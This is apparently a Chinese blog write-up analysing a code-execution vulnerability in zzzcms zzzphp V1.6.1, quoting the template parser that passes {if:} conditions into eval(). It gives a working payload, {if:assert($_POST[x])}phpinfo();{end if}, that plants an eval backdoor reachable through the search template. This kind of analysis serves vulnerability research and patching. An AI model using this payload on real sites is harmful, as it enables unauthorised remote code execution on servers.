【代码执行】【zzzcms zzzphp V1.6.1】
关键字:
eval assert preg_replace call_user_func call_user_func_array等
代码分析:
搜索eval关键字inc/zzz_template.php中

class ParserTemplate { $zcontent = $this->parserIfLabel( $zcontent ); // IF语句 } function parserIfLabel( $zcontent ) { @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); }
在inc/zzz_client.php中
if ($location=='user'){
$user_tpl='';$logintype='';$backurl='';
$act=getform('act','get');
$GLOBALS['logintype']=$logintype=getform('type','get');
$GLOBALS['backurl']=$backurl=getform('backurl','get');
if (empty($act)){
$path=geturl_path();
if(SITE_PATH=='/'){
$act=defined('ISWAP') ? $path[2] : $path[1];
}else{
$act=defined('ISWAP') ? $path[3] : $path[2];
}
}
$uid=get_session('uid');
$gid=get_session('gid');
$GLOBALS['sid']='-1';
$GLOBALS['tid']='-1';
$GLOBALS['pid']='-1';
if (empty($uid)){
$act=empty($act) ? 'login': $act;
$incfile=TPL_DIR. 'user'.$act.'.html';
switch ($act) {
case "reg":case "forget":case "login":case "login":
$tplfile=TPL_DIR. 'user'.$act.'.html';
$user_tpl = is_file($tplfile) ? load_file($tplfile) : load_file(PLUG_DIR.'template/'.$act.'.tpl');
break;
default:
phpgo(SITE_PATH.'?location=user&act=login&type='.$logintype.'&backurl='.$backurl) ;
}
}else{
$act=isnul($act) ? 'userinfo': $act;
$incfile=TPL_DIR. $act.'.html';
switch ($act) {
case "reg":case "forget":case "login":
phpgo(SITE_PATH.'?user/');
break;
case "userinfo":
$user_tpl = load_file($incfile);
break;
case "loginout":
phpgo(SITE_PATH.'form/?loginout');
break;
default:
$user_tpl = load_file($incfile);
}
}
$GLOBALS['act']=$act;
$zcontent = $user_tpl;
echo $zcontent;
if($logintype=='open'){
$zcontent=str_replace('{zzz:top}','',$zcontent);
$zcontent=str_replace('{zzz:foot}','',$zcontent);
}
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
$zcontent=str_replace('[login:type]',$logintype,$zcontent);
$zcontent=str_replace('[login:backurl]',$backurl,$zcontent);
echo $zcontent;
}elseif($conf['iscache']==1){
$cachefile = RUN_DIR . 'cache/html/'.md5($location.G('sid').G('id')). '.tpl' ;
if (!check_file($cachefile) || time_file($tplfile) > time_file($cachefile) ||time_file($cachefile)> time(date('Y-m-d H:i:s',strtotime('-'.$conf['cachetime'].' hour'))) ){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
create_file($cachefile, $zcontent);
}else{
echo load_file($cachefile);
}
}elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='form' ||$location=='screen' || $location=='app'){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
echo $zcontent;
}elseif($conf['runmode']==1 || $location=='sitemap' || $location=='sitexml'){
$url=$_SERVER['REQUEST_URI'];
$url=str_replace($conf['siteext'],'',$url);
$url=str_replace('?','',$url);
$urlarr=splits($url,'/');
if(count($urlarr)>3){
$url='';
foreach( $urlarr as $key=>$value){
$url.= $key<3 ? '/'.$value : '&'. $value;
}
}
$url=ltrim($url,'/');
empty($url) and $url='index';
if($location=='sitemap' || $location=='sitexml') $url=$location;
$htmlpath = HTML_PATH. $conf['htmldir'].$url.'.html';
$htmlfile = HTML_DIR . $conf['htmldir'].$url.'.html';
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
create_file($htmlfile, $zcontent);
//echop ($htmlfile);die;
phpgo($htmlpath);
}else{
error ('404,您访问的页面不存在',SITE_PATH);
}
相当于
1.localtion=user,$zcontent=$user_tpl = is_file($tplfile) ? load_file($tplfile) : load_file(PLUG_DIR.'template/'.$act.'.tpl')
2.$zcontent = load_file($tplfile,$location)
3.$zcontent = load_file($tplfile,$location)
4.$zcontent = load_file($tplfile,$location)
当localtion=user时,测试未成功。
当location=search时,
$tplfile= TPL_DIR . 'search.html';
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent);
代码调试
localtion=search时,$zcontent是通过load_file()读取的search.html,new一个ParserTemplate类对象,调用parserCommom()函数解析模版

继续步入parserIfLabel函数,$zcontent经过preg_match_all()函数匹配后得到matches[]数组,对数组的值进行替换等等操作会执行eval函数,当$ifstr传入我们构造的payload时被执行。
payload:
{if:assert($_POST[x])}phpinfo();{end if}
如果没有eval函数的话,$ifstr只是一个变量传入,通过eval函数来让他执行。
@eval( if($ifstr) {$flag="if";} else {$flag="else"} )
function parserIfLabel( $zcontent ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else switch ( $flag ) { case 'if': // 条件为真 if ( isset( $matches2[ 1 ] ) ) { $out_html .= $matches2[ 1 ]; } break; case 'else': // 条件为假 if ( isset( $matches2[ 2 ] ) ) { $out_html .= $matches2[ 2 ]; } break; } } elseif ( $flag == 'if' ) { $out_html .= $matches[ 2 ][ $i ]; } // 无限极嵌套解析 $pattern2 = '/\{if([0-9]):/'; if ( preg_match( $pattern2, $out_html, $matches3 ) ) { $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); $out_html = $this->parserIfLabel( $out_html ); } // 执行替换 $zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent ); } } return $zcontent; }

思路:
1.访问/search/
2.通过inc/zzz_client.php中$location=getlocation();方法触发访问search.html
3.传入$tplfile= TPL_DIR . 'search.html'
4.下一步通过load_file()函数读取内容$zcontent,新建类ParserTemplate()对象,调用parserCommom($zcontent)函数解析模版
$zcontent = load_file($tplfile,$location); $parser = new ParserTemplate(); $zcontent = $parser->parserCommom($zcontent); // 解析模板
5.parserCommom($zcontent)函数调用parserIfLabel($zcontent)解析内容
function parserCommom( $zcontent ) { $zcontent = $this->parserIfLabel( $zcontent ); }
6.parserIfLabel($zcontent)函数将内容通过preg_match_all()函数进行匹配,将结果传给$ifstr,再对$ifstr处理,通过@eval()执行$ifstr
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
苟利国家生死以,岂因福祸避趋之

浙公网安备 33010602011771号